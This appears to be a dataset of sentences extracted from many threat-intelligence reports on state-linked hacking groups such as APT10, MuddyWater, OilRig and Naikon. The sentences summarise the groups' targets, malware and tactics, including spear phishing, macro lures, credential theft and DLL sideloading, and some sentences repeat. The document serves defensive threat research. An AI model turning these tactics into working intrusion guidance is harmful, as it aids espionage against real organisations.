CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group ( formerly labeled Threat Group-2889 ) .
Since early 2014 , an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection , supported by persistent spear phishing campaigns .
This cyber-espionage group was dubbed ' Rocket Kitten ' , and remains active as of this writing , with reported attacks as recent as October 2015 .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East ( including targets inside Iran itself ) , as well as across Europe and in the United States .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
The report specifies the Magic Hound targeted political , military and defense industry in the US , UK and Israel .
ClearSky 's September 2014 blog post first described active attacks using a piece of malware they dubbed ' Gholee ' ( as appears in a malicious payload export function , potentially named after a popular Iranian singer9 ) .
The Rocket Kitten attacker group 's main attack vector is spear-phishing .
After learning of an active attack incident from the Rocket Kitten group on a customer network , Check Point researchers decided to actively join the investigation .
As described in previous publications , the Rocket Kitten attackers make extensive use of various phishing schemes .
While the recent paper from Trend Micro and ClearSky ( ' The Spy Kittens Are Back : Rocket Kitten 2 ' ) does extensively cover the campaign 's narrative , we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight .
As the Rocket Kitten group 's behavior was well characterized in previous publications ( see the recent report from Trend Micro and ClearSky ) .
Magic Hound will often find simpler ways for effective compromise , such as creative phishing and simple custom malware .
We present the connection between Behzad Mesri , an Iranian national recently indicted for his involvement in hacking HBO , and Charming Kitten .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as Oilrig1 and CopyKittens2 .
A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report - " Flying Kitten to Rocket Kitten , A Case of Ambiguity and Shared Code " 3 by Collin Anderson and Claudio Guarnieri .
FireEye 's publication of " Operation Saffron Rose " report , which described Flying Kitten 's operations against aviation firms , led to the dismantling of Flying Kitten 's infrastructure and the apparent end of its activities .
To sum up , the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn , who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari , who is a Facebook friend of Behzad Mesri 's .
Charming kitten regularly target international media outlets with Persian-language services .
It was a decoy to make visitor download a " Flash Player " , which was in fact DownPaper malware , analyzed later in this report .
In addition to using PlugX and Poison Ivy ( PIVY ) , both known to be used by the group , they also used a new Trojan called " ChChes " by the Japan Computer Emergency Response Team Coordination Center ( JPCERT ) .
Wapack labs also observed a similar sample targeting Japan in November .
MenuPass spoofed several sender email addresses to send spear phishing emails , most notably public addresses associated with the Sasakawa Peace Foundation and The White House .
menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns .
There is not much public information about the APT campaign called menuPass ( also known as Stone Panda and APT10 ) .
A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them .
Believed to have started activity in 2009 and to originate from China , the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed .
menuPass has targeted individuals and organizations in Japan since at least 2014 , and as the same organizations and academics were largely targeted each month in these attacks , it further shows menuPass is persistent in attempts to compromise their targets .
menuPass also heavily favors spear phishing , and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy .
menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
PyCommands , meanwhile , are Python scripts that automate tasks for Immunity Debugger , a popular tool for reverse-engineering malware binaries .
Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com .
First released in 2005 , the tool has gone unchanged since 2008 with v ersion 2.3.2 .
Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .
APT40 was previously reported as TEMP.Periscope and TEMP.Jumper .
They move laterally and escalate system privileges to extract sensitive information — whenever the attacker wants to do so.4 ,5 Because some RATs used in targeted attacks are widely available , determining whether an attack is part of a broader APT campaign can be difficult .
In 2011 , three years after the most recent release of PIVY , attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
The Poison Ivy builder kit allows attackers to customize and build their own PIVY server , which is delivered as mobile code to a target that has been compromised , typically using social engineering .
Attackers can point and click their way through a compromised network and exfiltrate data .
Commodity RATs also complicate efforts by security professionals to correlate a threat actor 's activity over time—attackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware .
This report is an initial public release of research PwC UK and BAE Systems have conducted into new , sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organisations in Japan .
Since late 2016 , PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by APT10 .
The campaign , which we refer to as Operation Cloud Hopper , has targeted managed IT service providers ( MSPs ) , allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally .
APT10 ceased its use of the Poison Ivy malware family after a 2013 FireEye report , which comprehensively detailed the malware 's functionality and features , and its use by several China-based threat actors , including APT10 .
APT10 primarily used PlugX malware from 2014 to 2016 , progressively improving and deploying newer versions , while simultaneously standardising their command and control function .
PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
APT10 , a name originally coined by FireEye , is also referred to as Red Apollo by PwC UK , CVNX by BAE Systems , Stone Panda by CrowdStrike , and menuPass Team more broadly in the public domain .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro3 similarly detailing the use of EvilGrab malware .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro similarly detailing the use of EvilGrab malware .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB )1 and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
The research and ongoing tracking of APT10 by both PwC UK and BAE .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB ) and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
PwC UK has been engaged in supporting investigations linked to APT10 compromises .
As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 .
Due to the scale of the threat actor 's operations throughout 2016 and 2017 , we similarly assess it currently comprises multiple teams , each responsible for a different section of the day-to-day operations , namely domain registration , infrastructure management , malware development , target operations , and analysis .
APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation , upgrading its capabilities and replatforming to use PlugX .
It is highly likely that this is due to the release of the 2013 FireEye report .
Our report will detail the most recent campaigns conducted by APT10 , including the sustained targeting of MSPs , which we have named Operation Cloud Hopper , and the targeting of a number of Japanese institutions .
MSPs therefore represent a high-payoff target for espionagefocused threat actors such as APT10 .
Given the level of client network access MSPs have , once APT10 has gained access to a MSP , it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims .
This , in turn , would provide access to a larger amount of intellectual property and sensitive data .
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs , hence evading local network defences .
The command and control ( C2 ) infrastructure chosen by APT10 for Operation Cloud Hopper is predominantly referenced using dynamic-DNS domains .
Several of these provide enterprise services or cloud hosting , supporting our assessment that APT10 are almost certainly targeting MSPs .
The 13th FYP was released in March 2016 and the sectors and organisations known to be targeted by APT10 are broadly in line with the strategic aims documented in this plan .
These aims outlined in the FYP will largely dictate the growth of businesses in China and are , therefore , likely to also form part of Chinese companies ' business strategies .
APT10 has , in the past , primarily been known for its targeting of government and US defence industrial base organisations , with the earliest known date of its activity being in December 2009 .
Observed APT10 targeting is in line with many of the historic compromises we have outlined previously as originating from China .
In line with commonly used APT actor methodologies , the threat actor aligns its decoy documents to a topic of interest relevant to the recipient .
This section details changes made to APT10 tools , techniques and procedures ( TTPs ) post-2014 , following its shift from Poison Ivy to PlugX .
We have observed that in cases where APT10 has infiltrated a target via an MSP , it continues to use the MSPs credentials .
In order to gain any further credentials , APT10 will usually deploy credential theft tools such as mimikatz or PwDump , sometimes using DLL load order hijacking , to use against a domain controller , explained further in Annex B .
APT10 achieves persistence on its targets primarily by using scheduled tasks or Windows services in order to ensure the malware remains active regardless of system reboots .
For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators .
In the majority of instances APT10 used either a reverse shell or RDP connection to install its malware ; the actor also uses these methods to propagate across the network .
The tactical malware , historically EvilGrab , and now ChChes ( and likely also RedLeaves ) , is designed to be lightweight and disposable , often being delivered through spear phishing .
Once executed , tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest .
We have also observed APT10 use DLL search order hijacking and sideloading , to execute some modified versions of open-source tools .
For example , PwC UK has observed APT10 compiling DLLs out of tools , such as Mimikatz and PwDump6 , and using legitimate , signed software , such as Windows Defender to load the malicious payloads .
During our analysis of victim networks , we were able to observe APT10 once again initiate a retooling cycle in late 2016 .
We observed the deployment and testing of multiple versions of Quasar malware , and the introduction of the bespoke malware families ChChes and RedLeaves .
APT10 is a constantly evolving , highly persistent China-based threat actor that has an ambitious and unprecedented collection programme against a broad spectrum of sectors , enabled by its strategic targeting .
Since exposure of its operations in 2013 , APT10 has made a number of significant changes intended to thwart detection of its campaigns .
PwC UK and BAE Systems , working closely with industry and government , have uncovered a new , unparallelled campaign which we refer to as Operation Cloud Hopper .
This operation has targeted managed IT service providers , the compromise of which provides APT10 with potential access to thousands of further victims .
An additional campaign has also been observed targeting Japanese entities .
APT10 's malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns ; this is indicative of APT10 's increasing sophistication , which is highly likely to continue .
The threat actor 's known working hours align to Chinese Standard Time ( CST ) and its targeting corresponds to that of other known China-based threat actors , which supports our assessment that these campaigns are conducted by APT10 .
APT10 ( MenuPass Group ) is a Chinese cyber espionage group that FireEye has tracked since 2009 .
Its targets include the military organizations and governments of countries with national interests in the South China Sea , including some within the U.S. defense industrial base .
Moafee may have chosen its targets based on the rich resources of South China Sea region – the world 's second business sea-lane , according to Wikipedia – including rare earth metals , crude oil , and natural gas .
DragonOK appears to operate out of China 's Jiangsu Province .
Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit Tool ( HTRAN ) – to disguise their geographical locations .
However , FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups .
Both Moafee and DragonOK favor spear-phishing emails as an attack vector , often employing a decoy to deceive the victim .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
We observed Moafee running HTRAN proxies on their multiple Command and Control ( C2 ) servers – all operated on CHINANET , and hosted in Guangdong Province .
Like the Moafee group , we observed DragonOK running HTRAN to proxy their C2 servers , which are also operated on CHINANET but are hosted in the Jiangsu Province .
Primarily focused on governments and military operations of countries with interests in the South China Sea , Moafee likely chooses its targets based on region 's rich natural resources .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
Security researchers subsequently linked these attacks to a broader , yearlong campaign that targeted not just Israelis but Palestinians as well .
and as discovered later , even the U.S. and UK governments .
The second group , known as DragonOK , targets high-tech and manufacturing companies in Japan and Taiwan .
In 2012 , the Molerats attacks appeared to rely heavily on the XtremeRAT , a freely available tool that is popular with attackers based in the Middle East .
But the group has also used Poison Ivy ( PIVY ) , a RAT more commonly associated with threat actors in China — so much so that PIVY has , inaccurately , become synonymous with all APT attacks linked to China .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective , publicly-available RAT to its arsenal .
We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control ( CnC ) infrastructure used by the Molerats attackers .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
In addition to DustySky , the attackers use publicly available tools such as the following Remote Administration Tools ( RAT ) : Poison Ivy , Nano Core , XtremeRAT , DarkComet and Spy-Net .
DustySky ( called " NeD Worm " by its developer ) is a multi-stage malware in use since May 2015 .
It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering .
Operating since 2012 , the Molerats group 's activity has been reported by Norman , Kaspersky , FireEye , and PwC .
DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering .
Most targets are from the Middle East : Israel , Egypt , Saudi Arabia , United Arab Emirates and Iraq .
The United States and countries in Europe are targeted as well .
The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015 .
The MuddyWater attacks are primarily against Middle Eastern nations .
However , we have also observed attacks against surrounding nations and beyond , including targets in India and the USA .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call " POWERSTATS " .
When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East , we were somewhat confused as the previous public reporting had attributed these attacks to FIN7 .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Following the trail of existing public reporting , the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2 , of a non-public tool " DNSMessenger " .
There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 .
The DNSMessenger malware is a shared tool , used by FIN7 , MuddyWater and perhaps other groups .
In September 2018 , we found evidence of Seedworm and the espionage group APT28 ( aka Swallowtail , Fancy Bear ) , on a computer within the Brazil-based embassy of an oil-producing nation .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor 's interests .
During the operations , the group used tools consistent with those leveraged during past intrusions including Powermud , a custom tool used by the Seedworm group , and customized PowerShell , LaZagne , and Crackmapexec scripts .
The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control ( C&C ) location .
After compromising a system , typically by installing Powermud or Powemuddy , Seedworm first runs a tool that steals passwords saved in users ' web browsers and email , demonstrating that access to the victim 's email , social media , and chat accounts is one of their likely goals .
Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials .
The group , which we call Seedworm ( aka MuddyWater ) , has been operating since at least 2017 , with its most recent activity observed in December 2018 .
The Seedworm group is the only group known to use the Powermud backdoor .
Additionally , the group compromised organizations in Europe and North America that have ties to the Middle East .
MuddyWater is an Iranian high-profile threat actor that 's been seen active since 2017 .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Over the past year , we've seen the group extensively targeting a wide gamut of entities in various sectors , including Governments , Academy , Crypto-Currency , Telecommunications and the Oil sectors .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Depending on each sample , the content of document is either a fake resume application , or a letter from the Ministry of Justice in Lebanon or Saudi Arabia .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
From January 2018 to March 2018 , through FireEye 's Dynamic Threat Intelligence , we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East .
MuddyWater has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
When successfully executed , the malicious documents install a backdoor we track as POWERSTATS .
The group is known for espionage campaigns in the Middle East .
The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques .
The MuddyWater campaign was first sighted in 2017 when it targeted the Saudi government using an attack involving PowerShell scripts deployed via Microsoft Office Word macro .
The threat group in this recently observed campaign a TEMP.Zagros a weaponized their malware using the following techniques .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
MuddyWater is a relatively new APT that surfaced in 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro as MuddyWater ) , an Iran-nexus actor that has been active since at least May 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro ) , an Iran-nexus actor that has been active since at least May 2017 .
Entities in these sectors are often " enabling victims " as telecommunications providers or IT services agencies and vendors could provide Seedworm actors with further victims to compromise .
The group mainly targets the telecommunications and IT services sectors .
However , the group behind MuddyWater has been known to target other countries in the Middle East , Europe and the US .
The group has focused mainly on governmental targets in Iraq and Saudi Arabia , according to past telemetry .
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros .
MuddyWater has recently been targeting victims likely from Lebanon and Oman , while leveraging compromised domains , one of which is owned by an Israeli web developer .
As MuddyWater has consistently been using POWERSTATS as its main tool , they are relatively easy to distinguish from other actors .
In March 2018 , Trend Micro provided a detailed analysis of another campaign that bore the hallmarks of MuddyWater .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
Given the use of lure documents designed with social engineering in mind , it is likely that MuddyWater use phishing or spam to target users who are unaware of these documents ' malicious nature .
We recently noticed the group behind MuddyWater that appear to be targeting government bodies , military entities , telcos and educational institutions in Jordan , Turkey , Azerbaijan and Pakistan , in addition to the continuous targeting of Iraq and Saudi Arabia , other victims were also detected in Mali , Austria , Russia , Iran and Bahrain. .
Observed Seedworm victims were located primarily in Pakistan and Turkey , but also in Russia , Saudi Arabia , Afghanistan , Jordan , and elsewhere .
The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering , in addition to the active development of attacks , infrastructure and the use of new methods and techniques .
Cisco Talos assesses with moderate confidence that a campaign we recently discovered called " BlackWater " is associated with suspected persistent threat actor MuddyWater .
In this latest activity , BlackWater first added an obfuscated Visual Basic for Applications ( VBA ) script to establish persistence as a registry key .
Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater .
MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East .
Between February and March 2019 , probable MuddyWater-associated samples indicated that BlackWater established persistence on the compromised host , at used PowerShell commands to enumerate the victim 's machine and contained the IP address of the actor 's command and control ( C2 ) .
Despite last month 's report on aspects of the MuddyWater campaign , the group is undeterred and continues to perform operations .
Based on these observations , as well as MuddyWater 's history of targeting Turkey-based entities , we assess with moderate confidence that this campaign is associated with the MuddyWater threat actor group .
Our recent report , " The Chronicles of the Hellsing APT : the Empire Strikes Back " began with an introduction to the Naikon APT , describing it as " One of the most active APTs in Asia , especially around the South China Sea " .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
Considering the volume of Naikon activity observed and its relentless , repeated attack attempts , such a confrontation was worth looking into , so we did .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal , Thailand , Laos and China .
The oil and gas infrastructure nexus observed in connection with greensky27.vicp.net and other Unit 78020 ( Naikon ) infrastructure suggests targeting patterns supportive of the PRC 's strategic interests over energy resources within the South China Sea and Southeast Asia .
This Naikon report will be complemented by a follow-on report that will examine the Naikon TTP and the incredible volume of attack activity around the South China Sea that has been going on since at least 2010 .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
In the Naikon scheme , a C&C server can be specialized XSControl software running on the host machine .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data exfiltration from high-profile victim organizations .
In addition to stealing keystrokesNaikon also intercepted network traffic .
Operator X also took advantage of cultural idiosyncrasies in its target countries , for example , the regular and widely accepted use of personal Gmail accounts for work .
In the spring of 2014 , we noticed an increase in the volume of attack activity by the Naikon APT .
In particular , we noticed that the Naikon group was spear-phished by an actor we now call " Hellsing " .
More details about the cloak and dagger games between Naikon and Hellsing can be found in our blogpost : " The Chronicles of the Hellsing APT : The Empire Strikes Back " .
Truvasys has been involved in several attack campaigns , where it has masqueraded as one of server common computer utilities , including WinUtils , TrueCrypt , WinRAR , or SanDisk .
PROMETHIUM is an activity group that has been active as early as 2012 .
The group primarily uses Truvasys , a first-stage malware that has been in circulation for several years .
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Meanwhile , NEODYMIUM used well-tailored spear-phishing emails with attachments that delivered the exploit code , ultimately leading to Wingbird 's installation on victim computers .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
Wingbird , the advanced malware used by NEODYMIUM , has several behaviors that trigger alerts in Windows Defender ATP .
This volume chronicles two activity groups , code-named PROMETHIUM and NEODYMIUM , both of which target individuals in a specific area of Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
In May 2016 , both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns .
NEODYMIUM is an activity group that , like PROMETHIUM , conducted an attack campaign in early May 2016 .
Data about Wingbird activity indicates that it is typically used to attack individuals and individual computers instead of networks .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
NEODYMIUM used a backdoor detected by Windows Defender as Wingbird , whose characteristics closely match FinFisher , a government-grade commercial surveillance package .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
FinSpy , a final-stage payload that allows for an attacker to covertly learn what a target is talking about and who they are communicating with , is associated with Gamma Group — which goes by other names , including FinFisher and Lench IT Solutions .
In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China .
BlackOasis in recent months sent a wave of phishing emails .
PROMETHIUM uses a unique set of tools and methods to perform actions like lateral movement and data exfiltration .
Last year , Microsoft researchers described Neodymium 's behavior as unusual : " unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Victims of BlackOasis have been observed in the following countries : Russia , Iraq , Afghanistan , Nigeria , Libya , Jordan , Tunisia , Saudi Arabia , Iran , Netherlands , Bahrain , United Kingdom and Angola .
Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
A cursory review of BlackOasis ' espionage campaign suggests there is some overlap between the group 's actions and Saudi Arabia 's geopolitical interests .
Kaspersky 's research notes that BlackOasis hacked into computers based in Saudi Arabia .
All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements .
The Operation Aurora , named by McAfee and announced in January 2010 , and the WikiLeaks document disclosures of 2010 have highlighted the fact that external and internal threats are nearly impossible to prevent .
These attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
Night Dragon 's attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
We have identified the tools , techniques , and network activities used in these continuing attacks—which we have dubbed Night Dragon—as originating primarily in China .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
The primary operational technique used by Night Dragon comprised a variety of hacker tools , including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker .
While Night Dragon attacks focused specifically on the energy sector , the tools and techniques of this kind can be highly successful when targeting any industry .
In addition , the attackers employed hacking tools of Chinese origin and that are prevalent on Chinese underground hacking forums .
We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign , a campaign Unit 42 has been following since May 2016 .
Recently we were able to observe these actors making modifications to their Clayslide delivery documents in an attempt to evade antivirus detection .
We collected two sets of Clayslide samples that appear to be created during the OilRig actor 's development phase of their attack lifecycle .
On November 15 , 2016 , an actor related to the OilRig campaign began testing the Clayslide delivery documents .
The actor then made subtle modifications to the file and uploaded the newly created file to the same popular antivirus testing website in order to determine how to evade detection .
In addition to making changes to the Excel worksheets that contain the decoy content , the actor also made changes to the worksheet that is initially displayed to the user .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
This realization suggests that the OilRig threat group will continue to use their delivery documents for extended periods with subtle modifications to remain effective .
Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015 .
In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors , several financial institutes , and the Israeli Post Office .
In these websites they hosted malware that was digitally signed with a valid , likely stolen code signing certificate .
In December 2015 , Symantec published a post about " two Iran-based attack groups that appear to be connected , Cadelle and Chafer " that " have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals and Middle Eastern organizations " .
In May 2016 , Unit 42 observed attacks of OilRig primarily focused on financial institutions and technology organizations within Saudi Arabia .
In recent OilRig attacks , the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks .
The campaign appears highly targeted and delivers a backdoor we have called ' Helminth ' .
Artifacts identified within the malware samples related to these attacks also suggest the targeting of the defense industry in Saudi Arabia , which appears to be related to an earlier wave of attacks carried out in the fall of 2015 .
In May 2016 , Unit 42 began researching attacks that used spear-phishing emails with attachments , specifically malicious Excel spreadsheets sent to financial organizations within Saudi Arabia .
Over the course of the attack campaign , we have observed two different variations of the Helminth backdoor , one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable .
FireEye also reported on these attacks in a May 22 blog post .
The executable variant of Helminth is installed with a dropper Trojan that we are tracking as the HerHer Trojan .
The Helminth executable variant is very similar in functionality to its script-based counterpart , as it also communicates with its C2 server using both HTTP and DNS queries .
Helminth executable samples send artifacts within network beacons to its C2 server that the Trojan refers to as a ' Group ' and ' Name ' .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
This suggests that the threat actors are not only focused on financial organizations , as their target set could include other industries as well .
The email address edmundj@chmail.ir and the geolocation of Tehran , Iran , being of note .
